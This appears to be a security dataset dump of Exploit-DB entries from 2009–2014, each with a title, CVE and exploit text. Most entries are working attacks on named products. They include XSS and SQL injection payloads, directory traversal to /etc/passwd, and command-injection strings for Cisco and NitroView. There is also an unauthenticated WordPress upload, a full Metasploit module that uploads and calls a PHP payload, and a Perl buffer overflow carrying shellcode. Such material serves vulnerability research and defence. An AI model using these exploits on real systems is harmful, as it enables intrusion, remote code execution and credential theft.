QLWD/code_shield huggingface dataset:
标题: Tenda A32 Router - Cross-Site Request Forgery EDB-ID: 34969 CVE: 2014-7281 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-10-14 漏洞利用脚本: # Exploit Title: Tenda A32 Router CSRF Vulnerability(reboot the Router)
# CVE ID :CVE-2014-7281
# Date: 2014-10-10
# Exploit Author: zixian
# Vendor Homepage: http://tenda.com.cn/
# Software Link: http://tenda.com.cn/Catalog/Product/325
# Version: V5.07.53_CN



When the administrator login, click on the link below， the device will reboot。


<a href="http://192.168.2.1/goform/SysToolReboot">reboot</a> URL: https://www.exploit-db.com/exploits/34969
标题: Cisco Unified Communications Manager 8.0 - Invalid Argument Privilege Escalation EDB-ID: 34954 CVE: 2010-3039 类型: LOCAL 平台: HARDWARE 发布日期: 2010-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/44672/info

Cisco Unified Communications Manager is prone to a local privilege-escalation vulnerability.

Attackers can exploit this issue to gain administrative access to the affected device and execute arbitrary code with superuser privileges. Successful exploits will lead to the complete compromise of the device.

This issue is tracked by Cisco Bug ID CSCti52041 and CSCti74930.

Cisco Unified Communications Manager 6, 7, and 8 are vulnerable. 

/usr/local/cm/bin/pktCap_protectData -i";id" URL: https://www.exploit-db.com/exploits/34954
标题: Online Work Order Suite - Login SQL Injection EDB-ID: 34951 CVE: 2010-4186 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/44608/info

Online Work Order Suite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Online Work Order Suite 2.10 is vulnerable; other versions may also be affected.

The following example data is available:

' or 1=1 or ''='' URL: https://www.exploit-db.com/exploits/34951
标题: PHP 5.3.2 - 'xml_utf8_decode()' UTF-8 Input Validation EDB-ID: 34950 CVE: 2010-3870 类型: REMOTE 平台: PHP 发布日期: 2009-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/44605/info

PHP is prone to a vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow attackers to provide unexpected input and possibly bypass input-validation protection mechanisms. This can aid in further attacks that may utilize crafted user-supplied input.

Versions prior to PHP 5.3.4 are vulnerable.

<?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode("$ill");
echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );
?> URL: https://www.exploit-db.com/exploits/34950
标题: Intergo Arcade Trade Script 1.0 - 'q' Cross-Site Scripting EDB-ID: 34941 CVE: 2009-2289 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/44555/info

Arcade Trade Script is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Arcade Trade Script 1.0 beta is vulnerable; other versions may also be affected.

http://www.example.com/index.php?a=gamelist&q=[XSS]&submit=GO URL: https://www.exploit-db.com/exploits/34941
标题: 212Cafe WebBoard 2.90 Beta - 'view.php' Directory Traversal EDB-ID: 34940 CVE: 2009-2600 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/44510/info

212cafe WebBoard is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Remote attackers can use a specially crafted request with directory-traversal sequences ('../') to retrieve and read arbitrary files in the context of the webserver. Information harvested may aid in launching further attacks.

212cafe WebBoard 2.90 beta is vulnerable; other versions may also be affected. 

http://www.example.com/webboard/view.php?topic=../../../../../../etc/passwd%00
http://www.example.com/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula URL: https://www.exploit-db.com/exploits/34940
标题: WordPress Plugin cformsII 11.5/13.1 - 'lib_ajax.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34946 CVE: 2010-3977 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/44587/info

The cformsII plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

cformsII 13.1 is vulnerable; other versions may also be affected. 

    Request:

    http://www.example.com/wp-content/plugins/cforms/lib_ajax.php

    POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

    Host: www.example.com

    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:

    1.9.2.10) Gecko/20100914 Firefox/3.6.10

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-us,en;q=0.5

    Accept-Encoding: gzip,deflate

    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

    Keep-Alive: 115

    Connection: keep-alive

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Content-Length: 219

    Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do

    %26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce

    %26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do

    %26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;

    c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;

    comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam

    %40checkpoint.com

    Pragma: no-cache

    Cache-Control: no-cache

    rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#

    $<script>alert(1)</script>$#$rbranco_nospam@checkpoint.com$#$http://

    www.checkpoint.com$#$<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/34946
标题: Sitecore CMS 6.0.0 rev. 090120 - 'default.aspx' Cross-Site Scripting EDB-ID: 34930 CVE: 2009-2163 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/44405/info

Sitecore CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sitecore CMS 6.0.0 rev. 090120 is vulnerable; other versions may also be affected.

http://www.example.com/sitecore/login/default.aspx?sc_error=<script>alert(0)</script> URL: https://www.exploit-db.com/exploits/34930
标题: Nessus Web UI 2.3.3 - Persistent Cross-Site Scripting EDB-ID: 34929 CVE: 2014-7280 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-10-09 漏洞利用脚本: Nessus Web UI 2.3.3: Stored XSS
=========================================================

CVE number: CVE-2014-7280
Permalink: http://www.thesecurityfactory.be/permalink/nessus-stored-xss.html
Vendor advisory: http://www.tenable.com/security/tns-2014-08

-- Info --

Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide.

-- Affected version -

Web UI version 2.3.3, Build #83

-- Vulnerability details --

By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin.
The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header.

-- POC --

#!/usr/bin/env python
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log

class Site(server.Site):
    def getResourceFor(self, request):
        request.setHeader('server', '<script>alert(1)</script>SomeServer')
        return server.Site.getResourceFor(self, request)

class HelloResource(resource.Resource):
    isLeaf = True
    numberRequests = 0

    def render_GET(self, request):
        self.numberRequests += 1
        request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"

log.startLogging(sys.stderr)
reactor.listenTCP(8080, Site(HelloResource()))
reactor.run()

-- Solution --

This issue has been fixed as of version 2.3.4 of the WEB UI.


-- Timeline --

2014-06-12   Release of Web UI version 2.3.3, build#83

2014-06-13        Vulnerability discovered and creation of POC

2014-06-13        Vulnerability responsibly reported to vendor

2014-06-13        Vulnerability acknowledged by vendor

2014-06-13        Release of Web UI version 2.3.4, build#85

2014-XX-XX        Advisory published in coordination with vendor

-- Credit --

Frank Lycops
Frank.lycops [at] thesecurityfactory.be URL: https://www.exploit-db.com/exploits/34929
标题: NitroView ESM - 'ess.pm' Remote Command Execution EDB-ID: 34932 CVE: 2010-4099 类型: REMOTE 平台: LINUX 发布日期: 2010-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44421/info

NitroView ESM is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied input.

Successful attacks may allow an attacker to execute arbitrary commands on the appliance in the context of the webserver process.

NitroView ESM 8.4.0a is affected; other versions may also be vulnerable.

<html> <pre> [*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux" [*] No authentication required [*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required </pre> <form action="https://x.x.x.x/ess"; method="POST"> <input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'" <input type="hidden" name="debug" value="1"> <input type="submit" value="Oops()"> </form> </html> URL: https://www.exploit-db.com/exploits/34932
标题: WordPress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload EDB-ID: 34922 CVE: 2014-7969 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-08 漏洞利用脚本: ==========================================================
"Creative Contact Form - The Best WordPress Contact Form Builder" -
Arbitrary File Upload

# Author: Gianni Angelozzi
# Date: 08/10/2014
# Remote: Yes
# Vendor Homepage: https://profiles.wordpress.org/creative-solutions-1/
# Software Link: https://wordpress.org/plugins/sexy-contact-form/
# CVE: CVE-2014-7969
# Version: all including latest 0.9.7
# Google Dork: inurl:"wp-content/plugins/sexy-contact-form"

This plugin includes a PHP script to accept file uploads that doesn't
perform any security check, thus allowing unauthenticated remote file
upload, leading to remote code execution. All versions are affected.
Uploaded files are stored with their original file name.
==========================================================
PoC
==========================================================
Trigger a file upload

<form method="POST" action="
http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
Then the file is accessible under

http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/files/FILENAME
==========================================================
EOF


Thanks,

Gianni Angelozzi URL: https://www.exploit-db.com/exploits/34922
标题: WordPress Plugin InfusionSoft - Arbitrary File Upload (Metasploit) EDB-ID: 34925 CVE: 2014-6446 类型: REMOTE 平台: PHP 发布日期: 2014-10-09 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress InfusionSoft Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the wordpress Infusionsoft Gravity
        Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
        upload and remote code execution.
      },
      'Author'         =>
        [
          'g0blin',                    # Vulnerability Discovery
          'us3r777 <us3r777@n0b0.so>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-6446'],
          ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
          ['WPVDB', '7634']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
      'DisclosureDate' => 'Sep 25 2014',
      'DefaultTarget'  => 0)
    )
  end

  def check
    res = send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
    )

    if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'infusionsoft',
                     'Infusionsoft', 'utilities', 'code_generator.php'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'fileNamePattern' => php_pagename,
        'fileTemplate'    => payload.encoded
      }
    })

    if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
      print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
      register_files_for_cleanup(php_pagename)
    else
      fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
    end

    print_status("#{peer} - Calling payload ...")
    send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'infusionsoft',
                     'Infusionsoft', 'utilities', php_pagename)
    }, 2)
  end

end URL: https://www.exploit-db.com/exploits/34925
标题: Asx to Mp3 2.7.5 - Local Stack Overflow EDB-ID: 34921 CVE: 2009-1324 类型: LOCAL 平台: WINDOWS 发布日期: 2014-10-07 漏洞利用脚本: ###########################################################################################
# Exploit Title: ASX to MP3 Converter 2.7.5 stack buffer overflow
# Date: 6 Oct 2014
# Exploit Author: Amir Reza Tavakolian
# Vendor Homepage: http://binarylife.blog.ir/
# Software Link: http://download.cnet.com/ASX-to-MP3-Converter/3000-2168_4-10385919.html
# Version: 2.7.5
# Tested on: windows xp sp 3
#
#
# Special thanks to Mr Michael Czumak (T_v3rn1x) for his tutorial in securitysift.com. 
# Thanks Mike. :)
##########################################################################################





#!/usr/bin/perl

my $junk = "\x41" x 35056;
my $eip = pack ('V', 0x73e848a7);



my $nop = "\x90" x 4;

my $shellcode = "\x90" x 25;
$shellcode = $shellcode . "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" .
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" .
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" .
            "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" .
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" .
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" .
            "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" .
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7";

my $junk1 = "c" x 24806;




my $total = $junk.$eip.$nop.$shellcode.$junk1;
my $file = "poc1.m3u";


open (FILE, ">$file");
print FILE $total;
close (FILE);
print "Done.../"; URL: https://www.exploit-db.com/exploits/34921
标题: Skybluecanvas 1.1 r237 - 'admin.php' Directory Traversal EDB-ID: 34919 CVE: 2009-2116 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/44397/info

SkyBlueCanvas is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue requires administrative privileges and may allow an attacker to obtain sensitive information that could aid in further attacks.

SkyBlueCanvas 1.1 r237 is vulnerable; other versions may also be affected. 

http://www.example.com/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/ URL: https://www.exploit-db.com/exploits/34919
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/user?method' Cross-Site Scripting EDB-ID: 34916 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
         
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
         
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
         
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/user?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34916
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/gsogroup?method' Cross-Site Scripting EDB-ID: 34912 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
     
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
     
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/gsogroup?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34912
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/pop?method' Cross-Site Scripting EDB-ID: 34914 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
       
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
       
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/pop?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34914
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/group?method' Cross-Site Scripting EDB-ID: 34910 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
   
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/group?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34910
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/gso?method' Cross-Site Scripting EDB-ID: 34911 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
    
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
    
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/gso?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34911
标题: IBM Tivoli Access Manager for E-Business - '/ivt/ivtserver?parm1' Cross-Site Scripting EDB-ID: 34907 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info

IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable. 

http://www.example.com/ivt/ivtserver?parm1=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34907
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/os?method' Cross-Site Scripting EDB-ID: 34913 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
      
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
      
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/os?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34913
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/domain?method' Cross-Site Scripting EDB-ID: 34909 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
  
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/domain?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34909